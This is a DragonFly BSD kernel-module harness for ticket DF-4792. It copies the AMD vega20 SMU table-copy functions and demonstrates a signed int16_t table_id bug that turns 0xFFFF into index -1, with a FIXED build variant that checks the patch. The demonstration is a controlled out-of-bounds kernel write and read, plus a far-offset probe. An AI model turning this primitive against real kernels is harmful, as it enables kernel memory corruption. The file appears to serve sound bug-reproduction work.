/*
 * DF-4792 — vega20_smumgr signed table_id guard-bypass harness (DragonFly KLD)
 *
 * The two functions below are VERBATIM copies of
 *   sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:163-196 (from_smc)
 *   sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:203-236 (to_smc)
 *   sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:563-574 (smc_table_manager)
 * with exactly two classes of substitution (documented inline):
 *   1. vega20_send_msg_to_smc_with_parameter() -> stub returning 0
 *      (the real one is MMIO-only; on real HW its success is a precondition
 *      for reaching the memcpy, and the OOB mc_addr/table fields are already
 *      consumed as its call ARGUMENTS before/at the first call)
 *   2. pr_err/pr_warn -> kprintf (DragonFly kernel)
 * Structs are verbatim from vega20_smumgr.h:29-43; PP_ASSERT_WITH_CODE is
 * verbatim from inc/pp_debug.h:29-36 (pr_warn -> kprintf).
 *
 * Build:  make SYSDIR=/usr/src/sys          (baseline: int16_t param)
 *         make SYSDIR=/usr/src/sys CFLAGS+=-DFIXED   (fixed: uint16_t param,
 *               mirroring fix.diff int16_t -> uint16_t)
 * Run:    kldload ./df4792.ko ; kldunload df4792
 *
 * Expected (baseline): table_id arriving as uint16_t 0xFFFF narrows to -1,
 *   passes `table_id < TABLE_COUNT`, consumes entry[-1] OUT OF BOUNDS:
 *   a controlled 8-byte kernel write lands in `victim` (0x4141...).
 * Expected (FIXED):    0xFFFF fails the now-unsigned guard -> -EINVAL,
 *   victim untouched. In-bounds sanity (id 9, unallocated slot): -EINVAL.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/stdint.h>

/* ---- verbatim: inc/pp_debug.h:29-36 (pr_warn -> kprintf) ---- */
#define PP_ASSERT_WITH_CODE(cond, msg, code)	\
	do {					\
		if (!(cond)) {			\
			kprintf("PP: %s\n", msg);	\
			code;			\
		}				\
	} while (0)

/* ---- verbatim: inc/smu11_driver_if.h:827-837 (as included by the file) ---- */
#define TABLE_PPTABLE                 0
#define TABLE_WATERMARKS              1
#define TABLE_PMSTATUSLOG             5
#define TABLE_SMU_METRICS             6
#define TABLE_ACTIVITY_MONITOR_COEFF  8
#define TABLE_OVERDRIVE               9
#define TABLE_COUNT                  10

/* ---- verbatim: smumgr/vega20_smumgr.h:29-43 (handle: amdgpu_bo*, opaque) ---- */
struct smu_table_entry {
	uint32_t version;
	uint32_t size;
	uint64_t mc_addr;
	void *table;
	void *handle;
};

struct smu_table_array {
	struct smu_table_entry entry[TABLE_COUNT];
};

struct vega20_smumgr {
	struct smu_table_array            smu_tables;
};

struct pp_hwmgr {
	struct vega20_smumgr *smu_backend;	/* only member the functions use */
};

#define PPSMC_MSG_SetDriverDramAddrHigh		0
#define PPSMC_MSG_SetDriverDramAddrLow		0
#define PPSMC_MSG_TransferTableSmu2Dram		0
#define PPSMC_MSG_TransferTableDram2Smu		0

static int vega20_send_msg_to_smc_with_parameter(
		struct pp_hwmgr *hwmgr, uint16_t msg, uint32_t parameter)
{
	/* STUB: real impl is MM I/O to MP1 C2PMSG regs (vega20_smumgr.c:130-149).
	 * Returns 0 == PPSMC answered OK, the precondition to reach the memcpy. */
	(void)hwmgr; (void)msg; (void)parameter;
	return 0;
}

#define upper_32_bits(n) ((uint32_t)(((uint64_t)(n) >> 16) >> 16))
#define lower_32_bits(n) ((uint32_t)(n))

#ifdef FIXED
#define TID_T uint16_t		/* fix.diff: int16_t -> uint16_t */
#else
#define TID_T int16_t		/* verbatim tree state; build.sh's fixed variant seds this to uint16_t */
#endif


/* ---- VERBATIM vega20_smumgr.c:163-196 ---- */
static int vega20_copy_table_from_smc(struct pp_hwmgr *hwmgr,
				      uint8_t *table, TID_T table_id)
{
	struct vega20_smumgr *priv =
			(struct vega20_smumgr *)(hwmgr->smu_backend);
	int ret = 0;

	PP_ASSERT_WITH_CODE(table_id < TABLE_COUNT,
			"Invalid SMU Table ID!", return -EINVAL);
	PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].version != 0,
			"Invalid SMU Table version!", return -EINVAL);
	PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].size != 0,
			"Invalid SMU Table Length!", return -EINVAL);

	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_SetDriverDramAddrHigh,
			upper_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0,
			"[CopyTableFromSMC] Attempt to Set Dram Addr High Failed!",
			return ret);
	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_SetDriverDramAddrLow,
			lower_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0,
			"[CopyTableFromSMC] Attempt to Set Dram Addr Low Failed!",
			return ret);
	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_TransferTableSmu2Dram, table_id)) == 0,
			"[CopyTableFromSMC] Attempt to Transfer Table From SMU Failed!",
			return ret);

	memcpy(table, priv->smu_tables.entry[table_id].table,
			priv->smu_tables.entry[table_id].size);

	return 0;
}

/* ---- VERBATIM vega20_smumgr.c:203-236 ---- */
static int vega20_copy_table_to_smc(struct pp_hwmgr *hwmgr,
				    uint8_t *table, TID_T table_id)
{
	struct vega20_smumgr *priv =
			(struct vega20_smumgr *)(hwmgr->smu_backend);
	int ret = 0;

	PP_ASSERT_WITH_CODE(table_id < TABLE_COUNT,
			"Invalid SMU Table ID!", return -EINVAL);
	PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].version != 0,
			"Invalid SMU Table version!", return -EINVAL);
	PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].size != 0,
			"Invalid SMU Table Length!", return -EINVAL);

	memcpy(priv->smu_tables.entry[table_id].table, table,
			priv->smu_tables.entry[table_id].size);

	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_SetDriverDramAddrHigh,
			upper_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0,
			"[CopyTableToSMC] Attempt to Set Dram Addr High Failed!",
			return ret);
	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_SetDriverDramAddrLow,
			lower_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0,
			"[CopyTableToSMC] Attempt to Set Dram Addr Low Failed!",
			return ret);
	PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr,
			PPSMC_MSG_TransferTableDram2Smu, table_id)) == 0,
			"[CopyTableToSMC] Attempt to Transfer Table To SMU Failed!",
			return ret);

	return 0;
}

/* ---- VERBATIM vega20_smumgr.c:563-574 (uint16_t public API, narrows) ---- */
static int vega20_smc_table_manager(struct pp_hwmgr *hwmgr, uint8_t *table,
				    uint16_t table_id, bool rw)
{
	int ret;

	if (rw)
		ret = vega20_copy_table_from_smc(hwmgr, table, table_id);
	else
		ret = vega20_copy_table_to_smc(hwmgr, table, table_id);

	return ret;
}

/* ===================== DF-4792 test driver ===================== */

MALLOC_DEFINE(M_DF4792, "df4792", "DF-4792 harness heap");

static int
df4792_run(void)
{
	const int ENT_SZ = sizeof(struct smu_table_entry);	/* 32 */
	uint8_t *blk;
	struct vega20_smumgr *priv;
	struct smu_table_entry *oob;		/* == &priv->smu_tables.entry[-1] */
	struct pp_hwmgr hw;
	static uint8_t victim[64];		/* controlled-write landing pad */
	uint8_t src[64];
	int rc;

	kprintf("DF-4792: entry sizeof=%d TABLE_COUNT=%d\n",
	    ENT_SZ, TABLE_COUNT);

	/*
	 * Groom: one allocation; the vega20_smumgr object sits at +ENT_SZ so
	 * the 32 bytes before it model the adjacent heap memory that
	 * entry[-1] reads on a real kzalloc'd vega20_smumgr (vega20_smumgr.h:41
	 * puts smu_tables.entry[] at struct offset 0, so index -1 lands in the
	 * PRECEDING slab object).
	 */
	blk = kmalloc(4096, M_DF4792, M_WAITOK | M_ZERO);
	if (blk == NULL)
		return ENOMEM;
	priv = (struct vega20_smumgr *)(blk + ENT_SZ);
	oob  = (struct smu_table_entry *)blk;

	memset(victim, 0, sizeof(victim));
	memset(src, 0x41, sizeof(src));

	hw.smu_backend = priv;
	/* in-bounds sanity first: TABLE_OVERDRIVE(9) is unallocated here
	 * (version==0) exactly like smu11 table ids 2,3,4,7 on a real driver */
	rc = vega20_smc_table_manager(&hw, src, TABLE_OVERDRIVE, false);
	kprintf("DF-4792: in-bounds id=%d (unalloc) rc=%d (want -EINVAL)\n",
	    TABLE_OVERDRIVE, rc);

	/* arm entry[-1]: attacker-influenced neighbor heap contents */
	oob->version = 1;
	oob->size = 8;				/* memcpy length */
	oob->mc_addr = 0xDEADBEEFCAFEBABEULL;	/* OOB-read -> SMC msg param */
	oob->table = victim;			/* OOB-read -> memcpy target */

	/* the only caller-visible type is uint16_t (hwmgr.h:218 / smumgr.h:114).
	 * volatile: the id arrives at runtime through the public API — a
	 * compile-time constant lets -Warray-bounds statically prove the OOB
	 * (it did, during harness development) and abort the -Werror build. */
	{ volatile uint16_t tid = 0xFFFF;
	rc = vega20_smc_table_manager(&hw, src, tid, false); }	/* write path */
	kprintf("DF-4792: to_smc(0xFFFF) rc=%d victim[0..7]=", rc);
	for (int i = 0; i < 8; i++)
		kprintf("%02x", victim[i]);
	kprintf(" %s\n", memcmp(victim, "\x41\x41\x41\x41\x41\x41\x41\x41", 8)
	    == 0 ? "<< CONTROLLED KERNEL WRITE" : "(untouched)");

	memset(victim, 0, sizeof(victim));
	oob->table = src;			/* read path: OOB src -> buf */
	memset(src + 8, 0, sizeof(src) - 8);	/* only 8 OOB bytes valid */
	{ volatile uint16_t tid = 0xFFFF;		/* entry[-1] again */
	rc = vega20_smc_table_manager(&hw, victim, tid, true); }
	kprintf("DF-4792: from_smc(0xFFFF) rc=%d victim[0..7]=", rc);
	for (int i = 0; i < 8; i++)
		kprintf("%02x", victim[i]);
	kprintf(" %s\n", memcmp(victim, "\x41\x41\x41\x41\x41\x41\x41\x41", 8)
	    == 0 ? "<< OOB KERNEL READ" : "(untouched)");

	/* far-OOB probe: 0x8000 narrows to -32768 -> entry[-32768] is a read
	 * 1 MB before the allocation; here it lands on zeroed memory so the
	 * version check rejects it. On a live system this is an arbitrary
	 * offset OOB read window (version/size/table all attacker-visible
	 * kernel memory). */
	{ volatile uint16_t tid = 0x8000;
	memset(victim, 0, sizeof(victim));
	rc = vega20_smc_table_manager(&hw, victim, tid, true); }
	kprintf("DF-4792: from_smc(0x8000 -> entry[-32768], far OOB) rc=%d\n", rc);

	kfree(blk, M_DF4792);
	return 0;
}

static int
df4792_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("DF-4792 harness loaded (param type: %s)\n",
		    _Generic((TID_T)0, int16_t: "int16_t", uint16_t: "uint16_t"));
		return df4792_run();
	case MOD_UNLOAD:
		kprintf("DF-4792 harness unloaded\n");
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df4792_mod = {
	"df4792", df4792_modevent, NULL
};
DECLARE_MODULE(df4792, df4792_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
